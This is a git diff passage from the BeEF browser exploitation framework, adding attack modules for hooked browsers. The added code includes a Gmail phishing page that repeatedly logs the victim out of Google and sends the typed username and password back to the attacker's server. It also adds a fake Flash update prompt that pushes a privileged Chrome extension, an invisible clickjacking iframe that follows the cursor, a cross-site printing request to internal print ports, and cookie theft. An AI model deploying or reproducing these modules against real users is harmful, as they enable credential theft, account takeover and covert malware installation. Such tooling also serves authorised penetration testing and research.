<%= @social_engineering_title %>
<%= @social_engineering_text %>
You need FlashPlayer 9 or higher!
If a URL is not specified then all cookies are returned (this can be a lot!)" + authors: ["mh"] + target: + working: ["C"] + not_working: ["All"] diff --git a/modules/chrome_extensions/get_all_cookies/module.rb b/modules/chrome_extensions/get_all_cookies/module.rb new file mode 100755 index 000000000..362e62d4f --- /dev/null +++ b/modules/chrome_extensions/get_all_cookies/module.rb @@ -0,0 +1,31 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Get_all_cookies < BeEF::Core::Command + + def self.options + + return [ + {'name' =>'url', 'ui_label'=>'Domain (e.g. http://facebook.com)', 'value' => 'default_all'} + ] + end + + def post_execute + content = {} + content['Return'] = @datastore['return'] + save content + end + +end diff --git a/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml b/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml index 2920b7a84..af3d4a3f0 100644 --- a/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml +++ b/modules/exploits/camera/dlink_dcs_series_csrf/config.yaml @@ -19,7 +19,7 @@ beef: module: Dlink_dcs_series_csrf: enable: true - category: ["Exploits","Camera"] + category: ["Exploits", "Camera"] name: "Dlink DCS series CSRF" description: "Attempts to change the password on a Dlink DCS series camera." authors: ["bcoles"] diff --git a/modules/exploits/router/bt_home_hub_csrf/config.yaml b/modules/exploits/router/bt_home_hub_csrf/config.yaml index 022045eb9..39034eba7 100644 --- a/modules/exploits/router/bt_home_hub_csrf/config.yaml +++ b/modules/exploits/router/bt_home_hub_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: bt_home_hub_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "BT Home Hub CSRF" description: "Attempts to enable remote administration and change the tech password on a BT Home Hub wireless router." authors: ["bcoles"] diff --git a/modules/exploits/router/comtrend_ct5367_csrf/config.yaml b/modules/exploits/router/comtrend_ct5367_csrf/config.yaml index b502288f1..c579a47b9 100644 --- a/modules/exploits/router/comtrend_ct5367_csrf/config.yaml +++ b/modules/exploits/router/comtrend_ct5367_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: comtrend_ct5367_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Comtrend CT-5367 CSRF" description: "Attempts to enable remote administration and change the password on a Comtrend CT-5367 router." authors: ["bcoles"] diff --git a/modules/exploits/router/comtrend_ct5624_csrf/config.yaml b/modules/exploits/router/comtrend_ct5624_csrf/config.yaml index fe71d96bf..27f47c06e 100644 --- a/modules/exploits/router/comtrend_ct5624_csrf/config.yaml +++ b/modules/exploits/router/comtrend_ct5624_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: comtrend_ct5624_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Comtrend CT-5624 CSRF" description: "Attempts to enable remote administration and change the password on a Comtrend CT-5624 router." authors: ["bcoles"] diff --git a/modules/exploits/router/dlink_dsl500t_csrf/config.yaml b/modules/exploits/router/dlink_dsl500t_csrf/config.yaml index aab56869a..d7e6ace24 100644 --- a/modules/exploits/router/dlink_dsl500t_csrf/config.yaml +++ b/modules/exploits/router/dlink_dsl500t_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: dlink_dsl500t_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "D-Link DSL500T CSRF" description: "Attempts to change the password on a D-Link DSL500T router." authors: ["bcoles"] diff --git a/modules/exploits/router/huawei_smartax_mt880/config.yaml b/modules/exploits/router/huawei_smartax_mt880/config.yaml index 0ccbe8c1d..d12a65130 100644 --- a/modules/exploits/router/huawei_smartax_mt880/config.yaml +++ b/modules/exploits/router/huawei_smartax_mt880/config.yaml @@ -17,7 +17,7 @@ beef: module: Huawei_smartax_mt880_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Huawei SmartAX MT880 CSRF" description: "Attempts to add an administrator account on a Huawei SmartAX MT880 router." authors: ["bcoles"] diff --git a/modules/exploits/router/linksys_befsr41_csrf/config.yaml b/modules/exploits/router/linksys_befsr41_csrf/config.yaml index 790045b2f..d3308de95 100644 --- a/modules/exploits/router/linksys_befsr41_csrf/config.yaml +++ b/modules/exploits/router/linksys_befsr41_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: linksys_befsr41_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Linksys BEFSR41 CSRF" description: "Attempts to enable remote administration and change the password on a Linksys BEFSR41 router." authors: ["Martin Barbella"] diff --git a/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml b/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml index de9c1162d..a64dd89fd 100644 --- a/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml +++ b/modules/exploits/router/linksys_wrt54g2_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: linksys_wrt54g2_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Linksys WRT54G2 CSRF" description: "Attempts to enable remote administration and change the password on a Linksys WRT54G2 router." authors: ["Martin Barbella"] diff --git a/modules/exploits/router/linksys_wrt54g_csrf/config.yaml b/modules/exploits/router/linksys_wrt54g_csrf/config.yaml index a85f8d5f4..4129d26e1 100644 --- a/modules/exploits/router/linksys_wrt54g_csrf/config.yaml +++ b/modules/exploits/router/linksys_wrt54g_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: linksys_wrt54g_csrf: enable: true - category: ["Exploits","Router"] + category: ["Exploits", "Router"] name: "Linksys WRT54G CSRF" description: "Attempts to enable remote administration and change the password on a Linksys WRT54G router." authors: ["Martin Barbella"] diff --git a/modules/exploits/switch/netgear_gs108t_csrf/config.yaml b/modules/exploits/switch/netgear_gs108t_csrf/config.yaml index 42798a2d3..6402686d4 100644 --- a/modules/exploits/switch/netgear_gs108t_csrf/config.yaml +++ b/modules/exploits/switch/netgear_gs108t_csrf/config.yaml @@ -17,7 +17,7 @@ beef: module: Netgear_gs108t_csrf: enable: true - category: ["Exploits","Switch"] + category: ["Exploits", "Switch"] name: "Netgear GS108T CSRF" description: "Attempts to change the password on a Netgear GS108T managed switch." authors: ["Bart Leppens"] diff --git a/modules/ipec/cross_site_printing/command.js b/modules/ipec/cross_site_printing/command.js new file mode 100644 index 000000000..49a0ef690 --- /dev/null +++ b/modules/ipec/cross_site_printing/command.js @@ -0,0 +1,69 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var target_ip = "<%= @ip %>"; + var target_port = "<%= @port %>"; + + // send a request + function send_msg(ip, port) { + + // create iframe + var iframe = document.createElement("iframe"); + iframe.setAttribute("id","ipc_cross_site_printing_<%= @command_id %>"); + iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;"); + document.body.appendChild(iframe); + iframe = document.getElementById("ipc_cross_site_printing_<%= @command_id %>"); + + // create form + var action = "http://" + ip + ":" + port + "/"; + myform=document.createElement("form"); + myform.setAttribute("name","data"); + myform.setAttribute("method","post"); + myform.setAttribute("enctype","multipart/form-data"); + myform.setAttribute("action",action); + iframe.contentWindow.document.body.appendChild(myform); + + // create message textarea + myExt = document.createElement("textarea"); + myExt.setAttribute("id","msg_<%= @command_id %>"); + myExt.setAttribute("name","msg_<%= @command_id %>"); + myExt.setAttribute("wrap","none"); + myExt.setAttribute("rows","70"); + myExt.setAttribute("cols","100"); + myform.appendChild(myExt); + + // send message + iframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = "<%= @msg.gsub(/"/, '\\"').gsub(/\r?\n/, '\\n') %>"; + myform.submit(); + + // clean up + setTimeout('document.body.removeChild(document.getElementById("ipc_cross_site_printing_<%= @command_id %>"));', 15000); + } + + // validate target + if (!target_port || !target_ip || isNaN(target_port)) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed target host or target port'); + } else if (target_port > 65535 || target_port < 0) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port'); + // send request and wait for reply + } else { + send_msg(target_ip, target_port); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent'); + } + +}); + diff --git a/modules/ipec/cross_site_printing/config.yaml b/modules/ipec/cross_site_printing/config.yaml new file mode 100644 index 000000000..370b690bd --- /dev/null +++ b/modules/ipec/cross_site_printing/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + cross_site_printing: + enable: true + category: "IPEC" + name: "Cross-Site Printing (XSP)" + description: "Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will send a message to a listening print port (9100 by default) on the target specified in the 'Target Address' input field.
The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet." + authors: ["bcoles"] + target: + working: ["FF"] diff --git a/modules/ipec/cross_site_printing/module.rb b/modules/ipec/cross_site_printing/module.rb new file mode 100644 index 000000000..e74227dee --- /dev/null +++ b/modules/ipec/cross_site_printing/module.rb @@ -0,0 +1,77 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Cross_site_printing < BeEF::Core::Command + + def self.options + return [ + {'name'=>'ip', 'ui_label' => 'Target Address', 'value' => 'localhost'}, + {'name'=>'port', 'ui_label' => 'Target Port', 'value' => '9100'}, + {'name'=>'msg', 'ui_label' => 'Message', 'description' => 'Message to print', 'type'=>'textarea', 'value'=>"********************************************************************** + + .O, + lkOl + od cOc + 'X, cOo. + cX, ,dkc. + BeEF ;Kd. ,odo,. + .dXl . .:xkl' + 'OKc .;c' ,oOk: + ,kKo. .cOkc. .lOk:. + .dXx. :KWKo. 'dXd. + .oXx. cXWW0c..dXd. + oW0 .OWWWNd.'KK. + ....,;lkNWx KWWWWX:'XK. + ,o:, .,:odkO00XNK0Okxdlc,. .KWWWWWWddWd + K::Ol .:d0NXK0OkxdoxO' .lXWWWWWWWWKW0 + od d0. .l0NKOxdooooooox0. .,cdOXWWWWWWWWWWWWWx + :O ;K; ;kN0kooooooooooooK: .':ok0NWWWWWWWWWWWWWWWWWWK. + 'X .Kl ;KNOdooooooooooooooXkkXWWWWWWWWWWWWWWWWWWWWWWWNd. + .N. o. .Kl 'OW0doooooooooooooodkXWWWWWWWWWWWWWWWWWWWWWWWW0l. + 0l oK' .kO:';kNNkoooooooooooook0XWWWWWWWWWWWWWWWWWWWWWWWKx:. + lX.,WN: .:c:xWkoooooooooood0NWW0OWWWWWWWWWWWWWWWWWWWKo. + 0O.0WWk' .XKoooooooooooONWWNo dWWWWWWWWWWWWWWWWWl + oKkNWWWX00NWXdooooooooxXWWNk' dWWWWWWWWWWWWWWWWX + .cONWWWWWWWWOoooooooONWWK:...c0WWWWWWWWWWWWWWWWWW: + .;oONWWWWxooooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX. + 'XW0oooookNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWd + oW0ooooo0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWO + ;NXdooodKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWx + ;xkOOdooooxOO0KNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWX. + .NOoddxkkkkxxdoookKWWWWWWWWWWWWWWWWWWWWWWWWWWX' + :KNWWWWWWWWWWX0xooONWWWWWWWWWWWWWWWWWWWWWWWk. + .xNXxKWWWWWWWOXWWXxoKWWWWWWWWWWWWWWWWWWWWNk' + OWl cNWWWWWWWk oNWNxKWWWWWWWWWWWWWWWWWNOl. + ,Wk xWWWWWWWWd xWWNWWWWWWWWWWWWXOdc,. + .N0 lOXNX0x; .KWWWWWWWWWWWNkc. + :NO, 'lXWWWWWWWWWNk:. + .dXN0OkxkO0NWWWWWWWWWWKl. + .';o0WWWWWWWWWWWNk; + .cxOKXKKOd;. + +**********************************************************************", 'width'=>'200px' }, + ] + end + + def post_execute + content = {} + content['result'] = @datastore['result'] if not @datastore['result'].nil? + content['fail'] = @datastore['fail'] if not @datastore['fail'].nil? + if content.empty? + content['fail'] = 'No data was returned.' + end + save content + end +end diff --git a/modules/misc/iframe_sniffer/config.yaml b/modules/misc/iframe_sniffer/config.yaml index 0fc20b8fa..61c796fa1 100644 --- a/modules/misc/iframe_sniffer/config.yaml +++ b/modules/misc/iframe_sniffer/config.yaml @@ -19,7 +19,8 @@ beef: enable: true category: "Misc" name: "iFrame Sniffer" - description: "This module attempts to do framesniffing (aka Leaky Frame). It will append leakyframe.js (written by Paul Stone) to the DOM and check for specified anchors to be present on a url.
For more information, refer to http://www.contextis.co.uk/research/blog/framesniffing/" + description: "This module attempts to do framesniffing (aka Leaky Frame). It will append leakyframe.js (written by Paul Stone) to the DOM and check for specified anchors to be present on a URL.
For more information, refer to http://www.contextis.co.uk/research/blog/framesniffing/" authors: ["Bart Leppens"] target: - working: "S" + working: ["S", "IE"] + not_working: ["ALL"] diff --git a/modules/social_engineering/clickjacking/command.js b/modules/social_engineering/clickjacking/command.js new file mode 100644 index 000000000..70985c019 --- /dev/null +++ b/modules/social_engineering/clickjacking/command.js @@ -0,0 +1,92 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var offset_top = "<%= @offset_top %>"; + var offset_left = "<%= @offset_left %>"; + var url = "<%= @url %>"; + var debug = <%= @debug %>; + + if (debug) opacity = 10; else opacity = 0; + + // create container + var cjcontainer = document.createElement('div'); + cjcontainer.id = "cjcontainer"; + cjcontainer.setAttribute("style", "-moz-opacity:"+opacity); + cjcontainer.style.zIndex = 999; + cjcontainer.style.border = "none"; + cjcontainer.style.width = "30px"; + cjcontainer.style.height = "20px"; + cjcontainer.style.overflow = "hidden"; + cjcontainer.style.position = "absolute"; + cjcontainer.style.opacity = opacity; + cjcontainer.style.filter = "alpha(opacity="+opacity+")"; + cjcontainer.style.cursor = "default"; + document.body.appendChild(cjcontainer); + + // create iframe + var cjiframe = document.createElement('iframe'); + cjiframe.id = "cjiframe"; + cjiframe.src = url; + cjiframe.scrolling = "no"; + cjiframe.frameBorder = "0"; + cjiframe.allowTransparency = "true"; + cjiframe.style.overflow = "hidden"; + cjiframe.style.position = "absolute"; + cjiframe.style.top = offset_top+"px"; + cjiframe.style.left = offset_left+"px"; + cjiframe.style.width = "200px"; + cjiframe.style.height = "100px"; + cjiframe.style.border = "none"; + cjiframe.style.cursor = "default"; + cjcontainer.appendChild(cjiframe); + + // followmouse code by rsnake + // http://ha.ckers.org/weird/followmouse.html + // modified by bcoles + function followmouse(e){ + + var xcoord = 0; + var ycoord = 0; + var gettrailobj = function() { + if (document.getElementById) + return document.getElementById("cjcontainer").style; + else if (document.all) + return document.all.container.style; + } + if (typeof e != "undefined") { + xcoord += e.pageX - 10; + ycoord += e.pageY - 15; + } else if (typeof window.event != "undefined") { + xcoord += document.body.scrollLeft + event.clientX; + ycoord += document.body.scrollTop + event.clientY; + } + var docwidth = document.all ? document.body.scrollLeft + document.body.clientWidth : pageXOffset+window.innerWidth - 15; + var docheight = document.all ? Math.max(document.body.scrollHeight, document.body.clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight) + gettrailobj().left = xcoord + "px"; + gettrailobj().top = ycoord + "px"; + } + + // hook to mousemove event + if (window.addEventListener) { + window.addEventListener('mousemove', followmouse, false); + } else if (window.attachEvent) { + window.attachEvent('mousemove', followmouse); + } + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'clickjack=hooked mousemove event'); + +}); diff --git a/modules/social_engineering/clickjacking/config.yaml b/modules/social_engineering/clickjacking/config.yaml new file mode 100644 index 000000000..0d9d51248 --- /dev/null +++ b/modules/social_engineering/clickjacking/config.yaml @@ -0,0 +1,27 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + clickjacking: + enable: true + category: "Social Engineering" + name: "Clickjacking" + description: "This module serves as a template for clickjacking attacks.
Simply specify the target URL and the offset (in pixels) for the iframe content. The iframe will follow the mouse cursor.
Debug mode creates a visible iframe for testing purposes." + authors: ["bcoles"] + target: + user_notify: ["FF", "C"] + not_working: ["IE"] + diff --git a/modules/social_engineering/clickjacking/module.rb b/modules/social_engineering/clickjacking/module.rb new file mode 100644 index 000000000..c005d87c5 --- /dev/null +++ b/modules/social_engineering/clickjacking/module.rb @@ -0,0 +1,35 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Clickjacking < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/clickjack.html" + return [ + { 'name' => 'url', 'description' => 'Target URL', 'ui_label' => 'Target URL', 'value' => uri, 'width'=>'400px' }, + { 'name' => 'offset_top', 'description' => 'Offset Top (in pixels)', 'ui_label' => 'Offset Top (px)', 'value' => '-40', 'width'=>'150px' }, + { 'name' => 'offset_left', 'description' => 'Offset Left (in pixels)', 'ui_label' => 'Offset Left (px)', 'value' => '-10', 'width'=>'150px' }, + { 'name' => 'debug', 'type' => 'combobox', 'ui_label' => 'Debug Mode', 'store_type' => 'arraystore', 'store_fields' => ['debug'], 'store_data' => [['true'],['false']], 'valueField' => 'debug', 'value' => 'false', editable: false, 'displayField' => 'debug', 'mode' => 'local', 'autoWidth' => true } + ] + end + + def post_execute + content = {} + content['clickjack'] = @datastore['clickjack'] + save content + end + +end diff --git a/modules/social_engineering/fake_flash_update/command.js b/modules/social_engineering/fake_flash_update/command.js new file mode 100644 index 000000000..c86e73fce --- /dev/null +++ b/modules/social_engineering/fake_flash_update/command.js @@ -0,0 +1,33 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + // Grab image and payload from config + image = "<%== @image %>"; + payload = "<%== @payload %>"; + + // Add div to page + div = document.createElement('div'); + div.setAttribute('id', 'splash'); + div.setAttribute('style', 'position:absolute; top:30%; left:40%;'); + div.setAttribute('align', 'center'); + document.body.appendChild(div); + div.innerHTML= '
The default install file is a Chrome extension.
A chrome extenstion has privileged access and can do a whole lot..
- - Access all tabs and inject beef into all tabs
- - Use hooked browser as a proxy to do cross domain requests
- - Get all cookies including HTTPonly cookies
See chrome extensions beef modules for more examples
See extensions/demos/flash_update_chrome_extension for extension source" + authors: ["mh"] + target: + user_notify: ['ALL'] diff --git a/modules/social_engineering/fake_flash_update/module.rb b/modules/social_engineering/fake_flash_update/module.rb new file mode 100644 index 000000000..58e05d06d --- /dev/null +++ b/modules/social_engineering/fake_flash_update/module.rb @@ -0,0 +1,38 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Fake_flash_update < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + payload = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/adobe_flash_update.crx" + image = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/adobe_flash_update.png" + + return [ + {'name' =>'payload', 'description' =>'Location of the chrome extension that user is promted to install', 'ui_label'=>'Chrome extension', 'value' => payload}, + {'name' =>'image', 'description' =>'Location of image for the update prompt', 'ui_label'=>'Splash image', 'value' => image} + + ] + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def post_execute + save({'answer' => @datastore['answer']}) + end + +end diff --git a/modules/social_engineering/gmail_phishing/command.js b/modules/social_engineering/gmail_phishing/command.js new file mode 100644 index 000000000..0926bd59d --- /dev/null +++ b/modules/social_engineering/gmail_phishing/command.js @@ -0,0 +1,51 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +function logoutGoogle() { + var img = document.createElement("IMG"); + img.src = "https://mail.google.com/mail/?logout"; + img.height = "1px"; + img.width = "1px"; + img.style.visibility = "hidden"; + document.body.appendChild(img); + //set a new setTimeout to redo the logout + setTimeout('logoutGoogle()', <%= @logout_gmail_interval %>); +} + +beef.execute(function() { + document.title = "Google Mail: Email from Google"; + beef.browser.changeFavicon("https://mail.google.com/favicon.ico"); + logoutGoogle(); + displayPhishingSite(); +}); + +function clickedSubmitButton(){ + var credentials = "Username: "+document.getElementById('Email').value+" Password: "+document.getElementById('Passwd').value; + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+credentials); + //Timeout needed because otherwise the beef panel doesn't get the credentials in time + setTimeout("redirect()", <%= @wait_seconds_before_redirect %>); +} +function redirect(){ + var theXssUrl = "<%== @xss_hook_url %>"; + if(theXssUrl){ + window.open(theXssUrl); + window.focus(); + } + window.location = "https://accounts.google.com/ServiceLoginAuth"; +} + +function displayPhishingSite(){ + document.body.innerHTML = "
Sign in
Google Mail
A Google approach to email.
Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:
-
Lots of space
Over 2757.272164 megabytes (and counting) of free storage.
-
Less spam
Keep unwanted messages out of your inbox.
-
Mobile access
Get Google Mail on your mobile phone. Learn more
Take Google Mail to work with Google Apps for Business
Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more